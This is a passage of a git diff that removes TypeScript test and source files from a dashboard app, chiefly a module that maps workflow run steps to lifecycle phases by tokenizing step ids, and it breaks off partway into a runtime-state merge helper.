-    assert.equal(stepIdPhase('implementation.patch'), 'implementation');
-    assert.equal(stepIdPhase('do-work'), 'implementation');
-    assert.equal(stepIdPhase('review-pipeline.review-claude'), 'review');
-    assert.equal(stepIdPhase('code-review-loop'), 'review');
-    assert.equal(stepIdPhase('human-approval'), 'approval');
-    assert.equal(stepIdPhase('approve-merge'), 'approval');
-    assert.equal(stepIdPhase('merge-and-finalize'), 'finalization');
-    assert.equal(stepIdPhase('cleanup-worktree'), 'finalization');
-  });
-
-  test('unknown step id is conservative (active), never invents a late phase', () => {
-    assert.equal(stepIdPhase('totally-unknown-step'), 'active');
-  });
-
-  // gascity-dashboard (Major 1): tokenized whole-token matching, not raw
-  // substring includes(). A leading/CI step that merely CONTAINS a late-stage
-  // word as a substring (or as a token behind a negating prefix) must not be
-  // misbucketed onto the late stage — that falsely surfaces a CI step as
-  // "waiting on human" through needsOperator (health.ts keys on phase==='approval').
-  test('pre-approval-ci is NOT approval (negating `pre` prefix on the gate token)', () => {
-    assert.notEqual(stepIdPhase('pre-approval-ci'), 'approval');
-  });
-
-  test('dispatch-implementation is implementation, not finalization', () => {
-    assert.equal(stepIdPhase('dispatch-implementation'), 'implementation');
-  });
-
-  test('prepare-review-context is review, never approval or finalization', () => {
-    const phase = stepIdPhase('prepare-review-context');
-    assert.notEqual(phase, 'approval');
-    assert.notEqual(phase, 'finalization');
-    assert.equal(phase, 'review');
-  });
-
-  test('whole real step ids still classify correctly after tokenization', () => {
-    assert.equal(stepIdPhase('review'), 'review');
-    assert.equal(stepIdPhase('approval'), 'approval');
-    assert.equal(stepIdPhase('approve'), 'approval');
-    assert.equal(stepIdPhase('implementation'), 'implementation');
-    assert.equal(stepIdPhase('do-work'), 'implementation');
-    assert.equal(stepIdPhase('load-context'), 'intake');
-    assert.equal(stepIdPhase('finalize'), 'finalization');
-  });
-
-  test('a substring that is not a whole token does not match (e.g. `approval` inside a longer token)', () => {
-    // `disapproval-note` tokenizes to [disapproval, note]; neither token is a
-    // recognized stage word, so the old includes('approval') false positive
-    // is gone.
-    assert.equal(stepIdPhase('disapproval-note'), 'active');
-  });
-
-  // gascity-dashboard (Residual A): the gate stages (approval, finalization)
-  // reject the stage token when ANY lead-up qualifier token appears anywhere in
-  // the step-id tokens — not only when the qualifier immediately precedes the
-  // stage token. `wait-for-approval` ([wait,for,approval]) and `prepare-for-merge`
-  // ([prepare,for,merge]) are steps that LEAD UP TO the gate, so they must not
-  // classify as the gate even though the token before the stage token is `for`.
-  describe('gate stages reject any lead-up qualifier token anywhere (Residual A)', () => {
-    test('pre-approval-ci is NOT approval (qualifier `pre` anywhere)', () => {
-      assert.notEqual(stepIdPhase('pre-approval-ci'), 'approval');
-    });
-
-    test('wait-for-approval is NOT approval (qualifier `wait`/`for`, not adjacent)', () => {
-      assert.notEqual(stepIdPhase('wait-for-approval'), 'approval');
-    });
-
-    test('prepare-for-merge is NOT finalization (qualifier `prepare`/`for`, not adjacent)', () => {
-      assert.notEqual(stepIdPhase('prepare-for-merge'), 'finalization');
-    });
-
-    test('true gates still classify: approval/approve → approval', () => {
-      assert.equal(stepIdPhase('approval'), 'approval');
-      assert.equal(stepIdPhase('approve'), 'approval');
-    });
-
-    test('true gates still classify: finalize/finalization → finalization', () => {
-      assert.equal(stepIdPhase('finalize'), 'finalization');
-      assert.equal(stepIdPhase('finalization'), 'finalization');
-    });
-
-    test('approve-merge is approval — it IS the approval step, no lead-up qualifier', () => {
-      assert.equal(stepIdPhase('approve-merge'), 'approval');
-    });
-
-    test('non-gate stages keep classifying on a whole stage token (no qualifier rejection)', () => {
-      assert.equal(stepIdPhase('review'), 'review');
-      assert.equal(stepIdPhase('do-work'), 'implementation');
-      assert.equal(stepIdPhase('implementation'), 'implementation');
-      assert.equal(stepIdPhase('load-context'), 'intake');
-    });
-  });
-});
-
-// gascity-dashboard (Residual B): furthestStageStepId / latestStepId stage
-// tiebreak rank the lifecycle order intake → implementation → review → approval
-// → finalization, so finalization is the FURTHEST stage. A no-in_progress run
-// whose furthest closed step is finalization must read as finalization, not
-// approval. The mapRunPhase CURRENT-phase precedence (approval before
-// finalization) is a separate concern and stays as-is.
-describe('mapRunPhase — finalization is the furthest lifecycle stage (Residual B)', () => {
-  function snapshotStep(stepId: string, status: string): RunIssue {
-    return {
-      id: `step-${stepId}`,
-      title: 'step',
-      status,
-      issue_type: 'task',
-      updated_at: '',
-      metadata: { 'gc.kind': 'step', 'gc.step_id': stepId },
-    };
-  }
-
-  test('no in_progress, closed approve-merge + closed merge-and-finalize → finalization (NOT approval)', () => {
-    const forward = mapRunPhase([
-      root({ id: 'fb1', updated_at: '' }),
-      snapshotStep('approve-merge', 'closed'),
-      snapshotStep('merge-and-finalize', 'closed'),
-    ]);
-    const reversed = mapRunPhase([
-      root({ id: 'fb1', updated_at: '' }),
-      snapshotStep('merge-and-finalize', 'closed'),
-      snapshotStep('approve-merge', 'closed'),
-    ]);
-    assert.equal(forward.phase, 'finalization');
-    assert.equal(reversed.phase, forward.phase);
-  });
-
-  test('no in_progress, closed review + closed approval → approval (approval furthest of the two)', () => {
-    const phase = mapRunPhase([
-      root({ id: 'fb2', updated_at: '' }),
-      snapshotStep('code-review-loop', 'closed'),
-      snapshotStep('human-approval', 'closed'),
-    ]);
-    assert.equal(phase.phase, 'approval');
-  });
-});
diff --git a/internal/api/dashboardspa/web/shared/src/runs/phaseMapping.ts b/internal/api/dashboardspa/web/shared/src/runs/phaseMapping.ts
deleted file mode 100644
index 6091244b46..0000000000
--- a/internal/api/dashboardspa/web/shared/src/runs/phaseMapping.ts
+++ /dev/null
@@ -1,708 +0,0 @@
-// Pure phase-classification rules for the runs collector
-// (gascity-dashboard-0t6). Kept in their own module so the rules can be
-// tested independently of the lane builder and the transport layer.
-//
-// All exports here are deterministic functions over RunIssue values;
-// no IO, no global state. The companion test file pins the upstream
-// classifier behavior so the React translation of RunMap inherits a
-// consistent phase grammar.
-//
-// Phase is derived structurally — from the run's CURRENT step (gc.step_id)
-// classified into a generic RunPhase (see structuredPhase / stepIdPhase). Only
-// when no step carries a gc.step_id does it fall back to a tightened keyword
-// scan scoped to step-identity signals (titles + gc.step_id), never the full
-// description+metadata dump (see fallbackPhase). Parent keyword scans read
-// DashboardBead.parent first and fall back to the older
-// metadata['gc.parent_bead_id'] marker when present.
-
-import type { DashboardBead } from '../dashboard-beads.js';
-import type { RunPhase as SharedRunPhase, RunStage } from '../snapshot/types.js';
-
-export interface RunIssue {
-  id: string;
-  title: string;
-  description?: string;
-  status: string;
-  issue_type: string;
-  assignee?: string;
-  updated_at: string;
-  /** Populated from DashboardBead.parent or metadata['gc.parent_bead_id']. */
-  parent?: string;
-  metadata?: Record<string, string>;
-}
-
-export interface PhaseMapping {
-  phase: SharedRunPhase;
-  label: string;
-  reviewRound: number | null;
-}
-
-export function mapRunPhase(issues: RunIssue[]): PhaseMapping {
-  // Status-based branches first — these are authoritative and correct.
-  if (issues.some((i) => i.status === 'blocked' || textForIssue(i).includes('blocked'))) {
-    return { phase: 'blocked', label: 'blocked', reviewRound: null };
-  }
-
-  if (issues.length > 0 && issues.every((i) => i.status === 'closed')) {
-    return { phase: 'complete', label: 'complete', reviewRound: null };
-  }
-
-  // gascity-dashboard-q3p1: structured-first phase derivation. When the run has
-  // step beads carrying gc.step_id, the run's phase is the phase of its CURRENT
-  // step (the in_progress primary step, else the latest-advanced primary step) —
-  // a real progress signal that tracks the run forward as steps advance. The old
-  // keyword scan over title+description+metadata collapsed almost every formula
-  // run to 'approval' because needles like 'gate' (order:gate-sweep, "ship gate")
-  // and 'human' (the ubiquitous summary_for_human metadata key) matched incidental
-  // text in some bead of the group. Step-id is a structural identifier, not free
-  // text, so it does not suffer that false-positive class.
-  const structured = structuredPhase(issues);
-  if (structured !== null) {
-    return structured;
-  }
-
-  // Fallback (no resolvable step identity): a tightened keyword scan scoped to
-  // step-identity signals only (titles + gc.step_id), with the incidental-match
-  // needles removed. Conservative — returns 'active' when genuinely ambiguous.
-  return fallbackPhase(issues);
-}
-
-/**
- * gascity-dashboard-q3p1: derive the phase from the run's current step.
- *
- * The active step is the latest in_progress primary step; if none is in_progress
- * (e.g. between steps) it is the latest primary step that carries a gc.step_id.
- * The step-id is classified into a generic RunPhase by stepIdPhase. Returns null
- * when no primary step carries a gc.step_id (no structured signal to use).
- */
-function structuredPhase(issues: RunIssue[]): PhaseMapping | null {
-  const primary = issues.filter(isPrimaryStepIssue);
-  const inProgressStep = latestStepId(primary.filter((i) => i.status === 'in_progress'));
-  // gascity-dashboard (Major 3): when no step is in_progress, the current step
-  // is the FURTHEST-ADVANCED step by stage rank — a deterministic, order- and
-  // timestamp-independent signal. The run-detail snapshot adapter sets every
-  // bead updated_at='' (the snapshot carries no per-bead timestamp), so a
-  // timestamp-based pick there is input-order-dependent and can drift from the
-  // summary lane. Stage rank is derived from gc.step_id alone, so the summary
-  // context (real timestamps) and the detail context (empty timestamps) resolve
-  // the same run to the same phase.
-  const activeStepId = inProgressStep ?? furthestStageStepId(primary);
-  if (activeStepId === null) {
-    return null;
-  }
-
-  const phase = stepIdPhase(activeStepId);
-  if (phase === 'review') {
-    const resolved = reviewRoundForIssues(issues) ?? fallbackReviewRound(issues);
-    return { phase: 'review', label: `review round ${resolved}`, reviewRound: resolved };
-  }
-  return { phase, label: phase, reviewRound: null };
-}
-
-/**
- * Classify a single gc.step_id into a generic RunPhase. The step id is split on
- * its structural delimiters (`-`, `.`, `_`, `:`, `/`) into TOKENS and matched
- * WHOLE-TOKEN against per-stage keyword sets — never as raw substrings. Whole-
- * token matching is what stops a CI/leading step from being misbucketed onto a
- * late stage: `pre-approval-ci` is not approval, `dispatch-implementation` is
- * implementation (not finalization), `prepare-review-context` is review (not
- * approval/finalization).
- *
- * Precedence is latest-stage-first (approval > finalization > review >
- * implementation > intake), preserving the approval-before-finalization rule so
- * an approval gate that names its successor (`approve-merge`,
- * `verify-merge-approval`) resolves to approval, not finalization, while a pure
- * finalization step (`merge-and-finalize`) still resolves to finalization.
- *
- * The gate stages (approval, finalization) additionally reject the stage token
- * when ANY lead-up qualifier token (`pre`, `prepare`, `wait`, `await`,
- * `pending`, `before`, `for`, `to`) appears anywhere in the step-id tokens —
- * not only immediately before the stage token. Those are steps that LEAD UP TO
- * the gate, not the gate itself (`pre-approval-ci`, `wait-for-approval`,
- * `prepare-for-merge`). Implementation/review/intake do not apply the qualifier
- * rule: a real stage token there is a reliable signal regardless of qualifier.
- *
- * Returns 'active' when no token names a recognizable stage — deliberately
- * conservative, so an unknown step never invents a specific late phase.
- */
-export function stepIdPhase(stepId: string): SharedRunPhase {
-  const tokens = tokenizeStepId(stepId);
-  if (hasStageToken(tokens, APPROVAL_STAGE_TOKENS, { rejectWithLeadUpQualifier: true })) {
-    return 'approval';
-  }
-  if (hasStageToken(tokens, FINALIZATION_STAGE_TOKENS, { rejectWithLeadUpQualifier: true })) {
-    return 'finalization';
-  }
-  if (hasStageToken(tokens, REVIEW_STAGE_TOKENS)) return 'review';
-  if (hasStageToken(tokens, IMPLEMENTATION_STAGE_TOKENS)) return 'implementation';
-  if (hasStageToken(tokens, INTAKE_STAGE_TOKENS)) return 'intake';
-  return 'active';
-}
-
-const STEP_ID_DELIMITERS = /[-._:/]+/;
-
-function tokenizeStepId(stepId: string): string[] {
-  return stepId.toLowerCase().split(STEP_ID_DELIMITERS).filter(Boolean);
-}
-
-// Qualifier tokens that mark a step as LEADING UP TO a gate rather than being
-// the gate itself, wherever they appear in the step id: `pre-approval-ci`,
-// `wait-for-approval`, `prepare-for-merge`, `before-merge`, `pending-approval`.
-const LEAD_UP_QUALIFIER_TOKENS: ReadonlySet<string> = new Set([
-  'pre',
-  'prepare',
-  'wait',
-  'await',
-  'pending',
-  'before',
-  'for',
-  'to',
-]);
-
-function hasStageToken(
-  tokens: readonly string[],
-  stageTokens: ReadonlySet<string>,
-  options: { rejectWithLeadUpQualifier?: boolean } = {},
-): boolean {
-  if (!tokens.some((token) => stageTokens.has(token))) return false;
-  // Gate stages: a stage token is the gate only when no lead-up qualifier token
-  // appears anywhere in the step id (a step that LEADS UP TO the gate is not it).
-  if (options.rejectWithLeadUpQualifier) {
-    return !tokens.some((token) => LEAD_UP_QUALIFIER_TOKENS.has(token));
-  }
-  return true;
-}
-
-// Whole-token stage vocabularies, matched against tokenized gc.step_id values.
-// Drawn from the declared step ids in stagesForFormula plus the v1/wisp step
-// names (do-work, load-context, …). Multi-word step ids contribute each of
-// their tokens (e.g. `merge-and-finalize` → merge, finalize).
-const APPROVAL_STAGE_TOKENS: ReadonlySet<string> = new Set([
-  'approval',
-  'approve',
-  'approved',
-  'gate',
-]);
-const FINALIZATION_STAGE_TOKENS: ReadonlySet<string> = new Set([
-  'finalize',
-  'finalization',
-  'merge',
-  'cleanup',
-  'publish',
-]);
-const REVIEW_STAGE_TOKENS: ReadonlySet<string> = new Set([
-  'review',
-  'reviewer',
-  'scorecard',
-  'persona',
-  'personas',
-  'audit',
-  'repro',
-  'baseline',
-  'investigation',
-  'classify',
-  'classification',
-]);
-const IMPLEMENTATION_STAGE_TOKENS: ReadonlySet<string> = new Set([
-  'implement',
-  'implementation',
-  'patch',
-  'fixes',
-  'work',
-  'design',
-]);
-const INTAKE_STAGE_TOKENS: ReadonlySet<string> = new Set([
-  'intake',
-  'bootstrap',
-  'context',
-  'router',
-  'request',
-  'preflight',
-  'setup',
-  'rebase',
-]);
-
-/**
- * Keyword fallback used only when no step carries a gc.step_id. Scans
- * step-identity signals (issue titles + any gc.step_id present) rather than the
- * full description+metadata dump, and drops the incidental-matching needles
- * ('gate', 'human', 'merge', 'close', 'report', 'work', 'fix', 'code') that
- * collapsed real runs onto late phases. Conservative: 'active' when ambiguous.
- */
-function fallbackPhase(issues: RunIssue[]): PhaseMapping {
-  if (stepSignalContainsAny(issues, ['approval', 'approved', 'finalize-scope'])) {
-    return { phase: 'approval', label: 'approval', reviewRound: null };
-  }
-
-  if (stepSignalContainsAny(issues, ['post-merge', 'finalization', 'finalize'])) {
-    return { phase: 'finalization', label: 'finalization', reviewRound: null };
-  }
-
-  const round = reviewRoundForIssues(issues);
-  if (round !== null || stepSignalContainsAny(issues, ['review', 'reviewer', 'scorecard'])) {
-    const resolved = round ?? fallbackReviewRound(issues);
-    return { phase: 'review', label: `review round ${resolved}`, reviewRound: resolved };
-  }
-
-  if (stepSignalContainsAny(issues, ['implementation', 'patch', 'do-work'])) {
-    return { phase: 'implementation', label: 'implementation', reviewRound: null };
-  }
-
-  if (stepSignalContainsAny(issues, ['intake', 'load-context', 'router', 'request'])) {
-    return { phase: 'intake', label: 'intake', reviewRound: null };
-  }
-
-  return { phase: 'active', label: 'active', reviewRound: null };
-}
-
-/**
- * Step-identity text for fallback scanning: the issue title plus any gc.step_id.
- * Excludes description and the metadata dump so incidental words (e.g. a
- * summary_for_human value, a "ship gate" mention) never drive the phase.
- */
-function stepSignalText(issue: RunIssue): string {
-  const stepId = stringValue(issue.metadata?.['gc.step_id']);
-  return [issue.title, stepId].filter(Boolean).join(' ').toLowerCase();
-}
-
-function stepSignalContainsAny(issues: RunIssue[], needles: string[]): boolean {
-  return issues.some((i) => {
-    const text = stepSignalText(i);
-    return needles.some((n) => text.includes(n));
-  });
-}
-
-/**
- * Returns the per-issue review round when one is encoded in metadata.
- * Three supported shapes (matching demo-dash):
- *   1. key like `*iteration.N` or `*attempt.N` → N (from key).
- *   2. key like `*iteration` or `*attempt` with numeric value → value.
- *   3. value matching `*iteration.N` or `*attempt.N` → N (from value).
- */
-export function reviewRoundForIssue(issue: RunIssue): number | null {
-  const metadata = issue.metadata ?? {};
-
-  // Capture group 1 in both ROUND_IN_KEY and ROUND_IN_VALUE is the digit
-  // sequence. noUncheckedIndexedAccess makes match[1] type as
-  // `string | undefined`, so each branch checks `!== undefined` before
-  // numeric coercion.
-  for (const [key, value] of Object.entries(metadata)) {
-    const keyMatch = key.match(ROUND_IN_KEY);
-    if (keyMatch && keyMatch[1] !== undefined) {
-      return Number(keyMatch[1]);
-    }
-
-    if (ROUND_KEY_NO_DIGITS.test(key)) {
-      const attempt = parsePositiveInteger(value);
-      if (attempt !== null) {
-        return attempt;
-      }
-    }
-
-    const valueMatch = String(value).match(ROUND_IN_VALUE);
-    if (valueMatch && valueMatch[1] !== undefined) {
-      return Number(valueMatch[1]);
-    }
-  }
-
-  return null;
-}
-
-const ROUND_IN_KEY = /(?:^|\.)(?:iteration|attempt)\.(\d+)$/;
-const ROUND_IN_VALUE = /(?:^|\.)(?:iteration|attempt)\.(\d+)$/;
-const ROUND_KEY_NO_DIGITS = /(?:^|\.)(?:iteration|attempt)$/;
-
-export function reviewRoundForIssues(issues: RunIssue[]): number | null {
-  const rounds = issues.map(reviewRoundForIssue).filter((r): r is number => r !== null);
-  if (rounds.length === 0) return null;
-  return Math.max(...rounds);
-}
-
-export function fallbackReviewRound(issues: RunIssue[]): number {
-  const reviewIssueCount = issues.filter((i) => textForIssue(i).includes('review')).length;
-  return Math.max(reviewIssueCount, 1);
-}
-
-export function textForIssue(issue: RunIssue): string {
-  // gascity-dashboard-9w3k: skip `gc.var.*` keys. v1 / wisp runs carry operator
-  // free-text template inputs there (e.g. gc.var.prompt = "review the blocked PR
-  // and merge it") which would otherwise feed phase needles ('review', 'blocked',
-  // 'merge', 'approval', ...) and mis-bucket the run's phase. These are inputs,
-  // not structural progress signals, so they are excluded from classification.
-  // graph.v2 roots derive phase from gc.step_id / status, not gc.var.*, so this
-  // does not affect graph.v2 classification.
-  const metadataText = Object.entries(issue.metadata ?? {})
-    .filter(([key]) => !key.startsWith('gc.var.'))
-    .map(([key, value]) => `${key} ${String(value)}`)
-    .join(' ');
-
-  return [
-    issue.title,
-    issue.description,
-    issue.status,
-    issue.issue_type,
-    issue.assignee,
-    issue.parent,
-    metadataText,
-  ]
-    .filter(Boolean)
-    .join(' ')
-    .toLowerCase();
-}
-
-export function stringValue(value: unknown): string {
-  return typeof value === 'string' ? value.trim() : '';
-}
-
-function parsePositiveInteger(value: unknown): number | null {
-  const parsed = Number(value);
-  return Number.isInteger(parsed) && parsed > 0 ? parsed : null;
-}
-
-// ── DashboardBead adapter ─────────────────────────────────────────────────────────
-
-/**
- * Adapt the dashboard bead projection to the phase classifier's input. The
- * metadata fallback survives because formula scaffolding can still write the
- * older `gc.parent_bead_id` key on synthetic beads.
- */
-export function fromDashboardBead(bead: DashboardBead): RunIssue {
-  const parent = bead.parent ?? stringValue(bead.metadata?.['gc.parent_bead_id']);
-  const issue: RunIssue = {
-    id: bead.id,
-    title: bead.title,
-    status: bead.status,
-    issue_type: bead.issue_type,
-    updated_at: bead.updated_at ?? bead.created_at,
-  };
-  if (bead.description !== undefined) issue.description = bead.description;
-  if (bead.assignee !== undefined) issue.assignee = bead.assignee;
-  if (parent) issue.parent = parent;
-  if (bead.metadata !== undefined) issue.metadata = bead.metadata;
-  return issue;
-}
-
-// ── Stage progression ──────────────────────────────────────────────────────
-
-const runStages = [
-  ['intake', 'Intake'],
-  ['implementation', 'Implementation'],
-  ['review', 'Review'],
-  ['approval', 'Approval'],
-  ['finalization', 'Finalization'],
-] as const;
-
-export function stageProgress(
-  phase: PhaseMapping,
-  formula: string | null,
-  issues: RunIssue[],
-): RunStage[] {
-  const formulaStages = stagesForFormula(formula);
-  if (formulaStages.length > 0) {
-    return formulaStageProgress(formulaStages, issues);
-  }
-
-  if (phase.phase === 'blocked') {
-    return [{ key: 'blocked', label: 'Blocked', status: 'blocked' }];
-  }
-
-  if (phase.phase === 'complete') {
-    return runStages.map(([key, label]) => ({
-      key,
-      label,
-      status: 'complete' as const,
-    }));
-  }
-
-  const activeIndex = runStages.findIndex(([key]) => key === phase.phase);
-
-  if (activeIndex < 0) {
-    return runStages.map(([key, label]) => ({
-      key,
-      label,
-      status: (key === 'implementation' ? 'active' : 'pending') as RunStage['status'],
-    }));
-  }
-
-  return runStages.map(([key, label], idx) => ({
-    key,
-    label:
-      key === 'review' && phase.reviewRound !== null ? `Review round ${phase.reviewRound}` : label,
-    status: (idx < activeIndex
-      ? 'complete'
-      : idx === activeIndex
-        ? 'active'
-        : 'pending') as RunStage['status'],
-  }));
-}
-
-export function stagesForFormula(
-  formula: string | null,
-): Array<{ key: string; label: string; steps: string[] }> {
-  if (formula === 'mol-adopt-pr-v2') {
-    return [
-      { key: 'preflight', label: 'Preflight', steps: ['preflight'] },
-      { key: 'rebase', label: 'Worktree / rebase', steps: ['rebase-check'] },
-      {
-        key: 'review',
-        label: 'Review loop',
-        steps: [
-          'review-loop',
-          'review-pipeline.review-claude',
-          'review-pipeline.review-codex',
-          'review-pipeline.review-gemini',
-          'review-pipeline.synthesize',
-          'review-pipeline.quality-scorecard',
-          'apply-fixes',
-        ],
-      },
-      {
-        key: 'ci',
-        label: 'Pre-approval CI',
-        steps: ['pre-approval-ci', 'repair-ci-failures'],
-      },
-      { key: 'approval', label: 'Human approval', steps: ['human-approval'] },
-      { key: 'finalize', label: 'Merge-ready', steps: ['finalize'] },
-      { key: 'cleanup', label: 'Cleanup', steps: ['cleanup-worktree'] },
-    ];
-  }
-
-  if (formula === 'mol-design-review-v2') {
-    return [
-      { key: 'setup', label: 'Setup', steps: ['design-review.setup'] },
-      {
-        key: 'personas',
-        label: 'Personas',
-        steps: [
-          'design-review.persona-gen-claude',
-          'design-review.persona-gen-codex',
-          'design-review.persona-gen-gemini',
-          'design-review.persona-synthesis',
-        ],
-      },
-      {
-        key: 'fanout',
-        label: 'Persona fanout',
-        steps: ['design-review.prepare-review-items', 'design-review.persona-review-fanout'],
-      },
-      {
-        key: 'synthesis',
-        label: 'Synthesis',
-        steps: ['design-review.global-synthesis'],
-      },
-      {
-        key: 'apply',
-        label: 'Apply findings',
-        steps: ['design-review.apply-design-changes'],
-      },
-      { key: 'finalize', label: 'Finalize', steps: ['finalize'] },
-    ];
-  }
-
-  if (formula === 'mol-bug-report-flow-v2') {
-    return [
-      {
-        key: 'intake',
-        label: 'Intake',
-        steps: ['bootstrap-run', 'refresh-intake'],
-      },
-      {
-        key: 'repro',
-        label: 'Reproduction',
-        steps: ['historical-baseline', 'reported-build-repro', 'main-repro'],
-      },
-      {
-        key: 'audit',
-        label: 'Audit',
-        steps: ['code-path-audit', 'coverage-audit', 'related-refs-audit'],
-      },
-      {
-        key: 'classify',
-        label: 'Classify',
-        steps: ['investigation-synthesis', 'followup-evidence', 'normalize-outcome'],
-      },
-      {
-        key: 'approval',
-        label: 'Human approval',
-        steps: ['approve-classification', 'verify-classification-approval'],
-      },
-      { key: 'publish', label: 'Publish', steps: ['publish-classification'] },
-      {
-        key: 'dispatch',
-        label: 'Dispatch fix',
-        steps: ['dispatch-implementation'],
-      },
-    ];
-  }
-
-  if (formula === 'mol-bug-report-implementation-v2') {
-    return [
-      {
-        key: 'plan',
-        label: 'Plan approval',
-        steps: ['approve-fix-plan', 'approve-test-hardening-plan', 'verify-selected-plan-approval'],
-      },
-      {
-        key: 'design',
-        label: 'Design review',
-        steps: ['prepare-design-review-doc', 'design-review'],
-      },
-      {
-        key: 'implement',
-        label: 'Implement',
-        steps: ['implement-change', 'prepare-review-context'],
-      },
-      {
-        key: 'review',
-        label: 'Code review',
-        steps: ['code-review-loop', 'apply-code-fixes'],
-      },
-      {
-        key: 'pr',
-        label: 'Open PR',
-        steps: ['approve-pr-open', 'verify-pr-open-approval', 'open-or-update-pr'],
-      },
-      { key: 'ci', label: 'CI', steps: ['wait-for-ci'] },
-      {
-        key: 'merge',
-        label: 'Merge',
-        steps: ['approve-merge', 'verify-merge-approval', 'merge-and-finalize'],
-      },
-    ];
-  }
-
-  return [];
-}
-
-function formulaStageProgress(
-  stages: Array<{ key: string; label: string; steps: string[] }>,
-  issues: RunIssue[],
-): RunStage[] {
-  const primary = issues.filter(isPrimaryStepIssue);
-  const activeStepId = latestStepId(primary.filter((i) => i.status === 'in_progress'));
-  const activeIndex = activeStepId
-    ? stages.findIndex((s) => s.steps.includes(activeStepId))
-    : firstOpenStageIndex(stages, primary);
-  const furthestClosedIndex = furthestClosedStageIndex(stages, primary);
-
-  const stageHasClosed = (stage: { steps: string[] }): boolean =>
-    stage.steps.some((step) => stepIssues(primary, step).some((i) => i.status === 'closed'));
-
-  return stages.map((stage, idx) => {
-    let status: RunStage['status'];
-    if (activeIndex >= 0) {
-      status = idx < activeIndex ? 'complete' : idx === activeIndex ? 'active' : 'pending';
-    } else if (stageHasClosed(stage) || idx < furthestClosedIndex) {
-      status = 'complete';
-    } else {
-      status = 'pending';
-    }
-    return { key: stage.key, label: stage.label, status };
-  });
-}
-
-function firstOpenStageIndex(stages: Array<{ steps: string[] }>, issues: RunIssue[]): number {
-  return stages.findIndex((s) =>
-    s.steps.some((step) => stepIssues(issues, step).some((i) => i.status !== 'closed')),
-  );
-}
-
-function furthestClosedStageIndex(stages: Array<{ steps: string[] }>, issues: RunIssue[]): number {
-  let furthest = -1;
-  stages.forEach((s, idx) => {
-    if (s.steps.some((step) => stepIssues(issues, step).some((i) => i.status === 'closed'))) {
-      furthest = idx;
-    }
-  });
-  return furthest;
-}
-
-export function latestStepId(issues: RunIssue[]): string | null {
-  return (
-    [...issues]
-      .sort(byMostRecentThenStage)
-      .map((i) => stringValue(i.metadata?.['gc.step_id']))
-      .find(Boolean) ?? null
-  );
-}
-
-/**
- * gascity-dashboard (Major 3): the deterministic current-step pick for the
- * "no step in_progress" fallback. Among the steps that carry a gc.step_id,
- * select the one whose stage is furthest along the ladder (approval >
- * finalization > review > implementation > intake > active). This depends only
- * on gc.step_id — never on updated_at — so it is stable regardless of input
- * order and identical whether the beads come from the summary projection (real
- * timestamps) or the run-detail snapshot adapter (updated_at=''). Ties on stage
- * rank break on the step id string for total determinism.
- */
-function furthestStageStepId(issues: RunIssue[]): string | null {
-  const stepIds = issues
-    .map((i) => stringValue(i.metadata?.['gc.step_id']))
-    .filter((id): id is string => id.length > 0);
-  if (stepIds.length === 0) return null;
-  return [...stepIds].sort((a, b) => {
-    const rankDelta = stageRank(stepIdPhase(b)) - stageRank(stepIdPhase(a));
-    if (rankDelta !== 0) return rankDelta;
-    return a < b ? -1 : a > b ? 1 : 0;
-  })[0]!;
-}
-
-// Lifecycle rank (higher = further along the run lifecycle), used ONLY to pick
-// the furthest-reached stage among steps (furthestStageStepId, and the latest-
-// step stage tiebreak in byMostRecentThenStage). The lifecycle order is
-// intake → implementation → review → approval → finalization, so finalization
-// is the FURTHEST stage. 'active' is the conservative floor.
-//
-// NOTE: this is deliberately decoupled from the CURRENT-phase precedence in
-// stepIdPhase, which checks approval BEFORE finalization so an approval gate
-// that names its successor (`approve-merge`) resolves to approval. That
-// precedence is encoded in the if-order of stepIdPhase, not here — the two
-// concerns must not be conflated (a closed approval + closed finalization run
-// has its furthest stage = finalization, while a single `approve-merge` step
-// is classified as the approval phase).
-const LIFECYCLE_RANK: Record<SharedRunPhase, number> = {
-  active: 0,
-  intake: 1,
-  implementation: 2,
-  review: 3,
-  approval: 4,
-  finalization: 5,
-  blocked: 6,
-  complete: 7,
-};
-
-function stageRank(phase: SharedRunPhase): number {
-  return LIFECYCLE_RANK[phase];
-}
-
-/**
- * Deterministic step ordering: most-recently-updated first, then furthest stage,
- * then step id. Date.parse('') is NaN, so when the run-detail snapshot adapter
- * leaves every updated_at empty the timestamp comparison collapses to 0 and the
- * stage / step-id tiebreakers make the pick deterministic instead of leaving it
- * to the engine's NaN-comparator behavior (input-order-dependent).
- */
-function byMostRecentThenStage(a: RunIssue, b: RunIssue): number {
-  const timeDelta = parseTimestamp(b.updated_at) - parseTimestamp(a.updated_at);
-  if (timeDelta !== 0) return timeDelta;
-  const aStep = stringValue(a.metadata?.['gc.step_id']);
-  const bStep = stringValue(b.metadata?.['gc.step_id']);
-  const rankDelta = stageRank(stepIdPhase(bStep)) - stageRank(stepIdPhase(aStep));
-  if (rankDelta !== 0) return rankDelta;
-  return aStep < bStep ? -1 : aStep > bStep ? 1 : 0;
-}
-
-function parseTimestamp(value: string): number {
-  const parsed = Date.parse(value);
-  return Number.isNaN(parsed) ? 0 : parsed;
-}
-
-export function stepIssues(issues: RunIssue[], step: string): RunIssue[] {
-  return issues.filter((i) => stringValue(i.metadata?.['gc.step_id']) === step);
-}
-
-export function isPrimaryStepIssue(issue: RunIssue): boolean {
-  const kind = stringValue(issue.metadata?.['gc.kind']);
-  return kind !== 'spec' && kind !== 'scope-check' && kind !== 'workflow-finalize';
-}
diff --git a/internal/api/dashboardspa/web/shared/src/runs/runtime-state.ts b/internal/api/dashboardspa/web/shared/src/runs/runtime-state.ts
deleted file mode 100644
index b28a00bd9e..0000000000
--- a/internal/api/dashboardspa/web/shared/src/runs/runtime-state.ts
+++ /dev/null
@@ -1,70 +0,0 @@
-import type { DashboardBead } from '../dashboard-beads.js';
-import type { RunSnapshotBead, RunSnapshot } from '../run-snapshot.js';
-import { nonEmpty } from './bead-fields.js';
-
-const PRESENTATION_METADATA_KEYS = [
-  'gc.outcome',
-  'gc.cwd',
-  'cwd',
-  'gc.work_dir',
-  'work_dir',
-  'gc.rig_root',
-  'rig_root',
-  'session_id',
-  'session_name',
-  'gc.session_id',
-  'gc.session_name',
-  'gc.sessionId',
-  'gc.sessionName',
-  'rig_id',
-] as const;
-
-/**
- * The supervisor run snapshot carries compiled graph shape, but today its
- * embedded bead rows can lag the canonical /beads runtime state. Merge only
- * fields that affect presentation state so graph topology still comes from
- * /run while run status comes from exact live supervisor bead reads.
- */
-export function mergeRunRuntimeState(
-  raw: RunSnapshot,
-  runtimeBeads: readonly DashboardBead[],
-): RunSnapshot {
-  if (!Array.isArray(raw.beads) || runtimeBeads.length === 0) return raw;
